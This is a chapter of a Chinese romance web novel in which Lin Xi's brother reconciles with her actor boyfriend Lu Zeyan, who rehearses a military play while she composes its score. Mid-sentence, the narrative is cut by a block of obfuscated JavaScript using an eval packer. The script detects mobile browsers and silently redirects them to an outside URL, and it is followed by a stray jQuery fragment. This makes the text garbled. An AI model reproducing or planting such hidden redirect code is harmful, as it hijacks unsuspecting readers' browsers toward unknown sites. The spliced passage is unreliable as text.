51. 边关月
作品:《重回九零:和影帝同桌的日子》 林浩的指尖掐着水果盘的边缘,瓷盘冰凉硌手。他沉默了半晌,突然说:“我去买晚饭。”声音还有点哑,却不像之前那样硬邦邦的了。
陆泽言看着他匆匆离去的背影,突然笑了,递给林溪一颗草莓:“你看,他在给台阶下呢。”林溪咬着草莓,甜得眼睛发酸。
沈曼青和林正国来送饭时,病房里正上演着奇妙的和谐。林浩在给林溪削苹果,动作生涩得像在拆炸弹;陆泽言在旁边读剧本,偶尔停下来问林浩“这里的台词是不是太硬了”;林溪靠在床头,手里转着个苹果,像个指挥若定的导演。
“老林,你看这仨孩子,”沈曼青偷偷碰了碰林正国的胳膊,眼睛亮得像藏了星星,“是不是像小时候过家家?”林正国“哼”了一声,嘴角却偷偷翘了起来。
出院那天,阳光好得晃眼。陆泽言背着林溪,林浩拎着行李,沈曼青和林正国跟在后面,像支浩浩荡荡的队伍。走到医院门口时,林浩突然说:“等会儿去吃火锅吧,我订了位置。”
林溪趴在陆泽言背上,笑出了声,声音闷闷的却格外清亮:“你不是说‘王记火锅’的锅底太辣吗?”
“点鸳鸯锅。”林浩的耳尖红了红,像被阳光晒透的番茄,“你不能吃辣,陆泽言……随便。”
火锅店里,铜锅咕嘟咕嘟冒着泡。林浩给林溪夹了片嫩牛肉,又很别扭地给陆泽言也夹了一筷子,动作快得像在完成任务。
“话剧团的戏,什么时候公演?”林浩突然开口,筷子在红油锅里搅着,“我公司可以订票票,算是给员工发福利。”
陆泽言的眼睛亮了:“下月初,到时候给您留前排的票。”
“不用给我留,”林浩的声音有点硬,却藏着笑意,“给我妹留就行,她是作曲家,得坐第一排。”
林溪喝着酸梅汤,看着哥哥和爱人在热气里渐渐柔和的侧脸,突然觉得腹部的伤口不疼了。原来和解就像这鸳鸯锅,清汤和红油看着不相容,却能在同一个锅里咕嘟出好滋味,像青溪镇的溪水和京城的盼星湖,最终都要汇入同一片海。
离开火锅店时,林浩接了个电话,是公司的人打来的,说“林总,您要的钢琴找到了,德国原装的,下周就能送到音乐学院”。
林溪的脚步顿住了:“哥,你……”
“就当是赔罪。”林浩别过头,看着橱窗里的西装,声音很轻,“还有,那个小舞台,能让陆泽言再刻一个吗?我放办公室,当个摆件。”
陆泽言笑着点头:“刻三个,您一个,叔叔阿姨一个,我们一个,像全家福。”
话剧团的排练厅飘着松节油的味道,混着道具组新刷的漆料香,像把去年演《智取威虎山》的雪粉和今年《边关月》的风沙揉在了一起。陆泽言把林溪扶到折叠椅上时,她腹部的伤口还隐隐作痛,掌心的温度透过薄薄的衣料传过来,烫得她心口发麻。
“刚从炊事班顺的橘子汽水。”他把玻璃瓶往她手里塞,瓶盖没拧紧,气泡“滋滋”地往外冒,溅在她手背上,凉丝丝的,像他紧张时的呼吸。作训服的领口沾着点灰尘,是刚才搬道具时蹭的,他却毫不在意。
“陆泽言,导演找你!”副导演举着剧本从布景后面探出头,军绿色的导演马甲上别着支红铅笔,在灯光下像朵开得正艳的花,“新角色定了,赶紧过来熟悉台词!”
林溪把汽水往他手里塞,“快去呀,”她的声音带着点不易察觉的骄傲,“导演都亲自等你了。”
陆泽言的喉结滚了滚,突然弯腰在她耳边说了句:“等我排练完,带你去吃王记馄饨。”温热的气息拂过她耳垂,像片羽毛轻轻搔着,惹得她耳尖瞬间红透。他跑向导演时,作训服的衣角扫过靠墙的道具枪,“哐当”一声脆响,像串被风吹动的风铃,在排练厅里荡开轻快的回音。
林溪坐在椅子上,看着他对着剧本认真点头的模样,突然想起高三那年的冬夜。陆泽言就着昏黄的手电筒光背《茶馆》的台词,哈出的白气在冷空气中凝成小雾,睫毛上甚至挂着细碎的霜花,却还是把“我爱咱们的国呀,可是谁爱我呢”念得字正腔圆。那时他的眼睛里就有光,像此刻排练厅聚光灯下的星,亮得让人移不开眼。
道具组正在给《边关月》搭景。假山是用泡沫塑料做的。几个年轻的道具师蹲在地上刷颜料,把“山石”涂成苍劲的灰黑色,笔尖划过泡沫的声音“沙沙”的。
“姑娘,让让嘞。”一个戴蓝布帽的老道具师推着辆三轮车经过,车上堆着盏铁皮做的月亮,银漆在灯光下泛着冷光。林溪往旁边挪了挪椅子,三轮车轱辘碾过排练厅的木地板,发出“吱呀”的响。
“这是给新戏做的月亮?”她忍不住问。
老道具师停下脚步,用袖子擦了擦额角的汗:“可不是嘛,《边关月》里的重头戏,得让士兵对着它敬礼呢。”他拍了拍铁皮月亮,“别看是假的,照着它念台词,心里头能生出真感情。”
林溪的目光落在那盏月亮上,突然想起陆泽言拿到新剧本那天,在病房里给她念的台词:“边关的月亮比家里的冷,但照着它,就像看到了家乡的窗。”当时他的声音很轻,却带着股执拗的劲儿,像在对她说,也像在对自己说。
排练厅的灯光突然暗了大半,只有几盏聚光灯打在舞台中央。陆泽言已经换上了士兵的粗布军装,洗得发白的布料贴在他身上,勾勒出他这阵子练体能练出的紧实线条。他站在刚搭好的假山上,手里握着杆道具枪,枪托被磨得发亮,是话剧团传了好几代的老物件。
“各部门注意,试拍第一条!”导演的声音透过扩音器传来,带着电流的杂音,在空旷的排练厅里格外清晰。
陆泽言深吸一口气,转身面对那盏铁皮月亮。聚光灯把他的影子投在背景布上,拉得很长很长,像个孤独却坚定的哨兵。
“报告祖国,”他的声音带着刻意压低的嘶哑,却字字清晰,像从喉咙深处挤出来的,“士兵陆泽言,请求坚守岗位!”
最后一个字落下时,他的肩膀微微颤抖,不是紧张,是用力到极致的震颤。排练厅里静悄悄的,只有道具组的电风扇还在“呼呼”地转,把松节油的味道吹得满屋子都是。
林溪的眼眶突然热了。她低头拧开橘子汽水,气泡“滋滋”地冒出来,像在为刚才那段表演鼓掌。她想起他在军区话剧团的操场上,对着晨雾练正步,作训服的裤脚沾满了露水;想起他守在她病床边,眼睛里的红血丝比兔子还多——原来所有的汗水,都在为这一刻的绽放积蓄力量。
身旁的老道具师正在调试一台老式留声机,黄铜喇叭擦得锃亮,像只竖着耳朵的小狗。他把唱片放上去,针头划过纹路时发出“沙沙”的响,接着流淌出段苍凉的调子,像边关的风吹过哨所,带着股说不出的悲壮。
林溪的指尖轻轻敲着汽水瓶,跟着旋律打拍子。她突然有了个念头,想给这段戏写首配乐,用钢琴的清冽配着留声机的沙哑,像现代的温柔拥抱着过去的沧桑。她掏出随身带的小本子,笔尖划过纸页,写下“边关月?序曲”几个字,字迹被汽水的水汽洇得有些模糊。
排练间隙,陆泽言像阵旋风似的冲过来,额头上的汗珠顺着他的下颌线往下掉,砸在他胸前的军装上,洇出小小的湿痕。他蹲在林溪面前,手里还攥着剧本,纸页被汗水浸得有些发皱。
“累不累?”他的声音带着点喘,掌心覆在她的手背上,想给她捂捂热,“要不要我送你回学校?待会儿可能要排到很晚。”
林溪摇摇头,伸手替他擦汗,指尖触到他滚烫的皮肤,像碰了下刚出炉的糖糕。“我等你,”她把小本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289374|180507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子往他面前亮了亮,“刚有了点灵感。”
陆泽言的眼睛瞬间亮了,像被点燃的星星。“真的?”他抢过小本子,手指小心翼翼地捏着纸角。
林溪看着他眼里的期待,突然觉得,那些曾经在琴房里犹豫的瞬间,那些担心自己写不好的顾虑,都在这一刻烟消云散了。
“陆泽言!再来一遍敬礼的动作!”副导演的声音打断了他们的对视。
陆泽言慌忙站起来,军靴在地板上磕出“啪”的一声,像个标准的立正。他跑向舞台前,还不忘回头叮嘱:“别乱走动,伤口还没好利索!”
林溪看着他的背影笑了,把小本子塞进帆布包。阳光透过排练厅的高窗照进来,在地板上投下长方形的光斑,像块巨大的舞台,正等着他们上演属于自己的故事。
陆泽言站在假山上,再次抬手敬礼。这次他没有看铁皮月亮,而是透过聚光灯的缝隙,看向角落里的林溪。他的眼神温柔得像青溪镇的河水,却又带着股不容置疑的坚定,像在对她说:你看,我做到了。
林溪对着他悄悄竖起大拇指,汽水瓶在手里晃了晃,橘子味的甜香飘出来,混着松节油的味道。
老道具师的留声机还在“沙沙”地转,苍凉的调子裹着少年的誓言,在排练厅里慢慢流淌。窗外的阳光越发明媚,把那盏铁皮月亮照得像块真正的玉,温润而坚定,像极了那些藏在时光里的坚守与热爱。
音乐学院的琴房飘着槐花的香,是从窗外那棵槐树上落下来的,细碎的花瓣像雪一样,落在窗台上、琴键上,甚至林溪摊开的《边关月》乐谱上,给黑色的音符缀上了点温柔的白。她把铅笔叼在嘴里,指尖在“士兵巡逻”那段旋律上敲着节拍,总觉得哪里不对劲——音符是对的,节奏是准的,可就是缺了点能让人心里发颤的东西,像青溪镇的腊肉少了把花椒,香得不够彻底。
琴谱旁边压着李婷的来信:“赵磊代表市体校打比赛啦,拿了第三名!奖金够我们俩去京城玩三天,等你回信定日子,我们还要去看陆泽言演戏,顺便吃京城烤鸭!”
林溪把信纸折成小方块,夹进乐谱本的夹层里。那里还藏着陆泽言上次给她的话剧票根,边角已经被磨得发白,上面“边关月”三个字的墨迹却依旧清晰,像他写在她手心里的承诺。
指尖重新落在琴键上,试弹了段“巡逻”旋律。音符在空旷的琴房里跳着,像群找不到方向的小鹿,东撞西撞的。林溪皱着眉按下延音踏板,琴声拖得长长的,带着点说不清道不明的怅然,像边关的风,冷飕飕的,却少了点人气儿。
她起身去倒了杯温水,玻璃杯壁上很快凝了层水汽。上周陆泽言来送剧本时,蹲在琴房门口给她讲边关的故事,说士兵们巡逻时不爱唱军歌,总爱哼自己家乡的小调,有的跑调跑到天边,有的把“想娘”唱成“想粮”,逗得大家笑出眼泪,笑着笑着又红了眼眶。“那调子糙得很,”他挠着后脑勺笑,耳尖红了红,“可听着比什么都亲。”
林溪的指尖突然在水杯壁上停住了。她想起青溪镇的货郎担子,每次经过巷口,都会摇着拨浪鼓唱“甜米糕,香芝麻”,跑调跑到能把睡着的狗吵醒,可全镇的孩子都爱追着他跑,连王奶奶都会掀开窗帘喊“给我来两块”。那调子不就是糙得可爱吗?带着烟火气,带着过日子的实在劲儿。
她冲回钢琴前,铅笔在“巡逻”段的谱子上飞快地游走。原本规整的四分音符被改成了跳跃的八分音符,还添了几个俏皮的装饰音,像货郎鼓的节奏,像孩子们追着担子跑的脚步声,吵吵嚷嚷的,却透着股挡不住的生机。试弹时,琴键发出的声音混着窗外飘进来的槐花香,突然就有了画面,边关的士兵背着枪,嘴里哼着跑调的家乡小调,脚下的石子“咯吱”响,远处的炊烟像条白丝带,系着他心里的牵挂。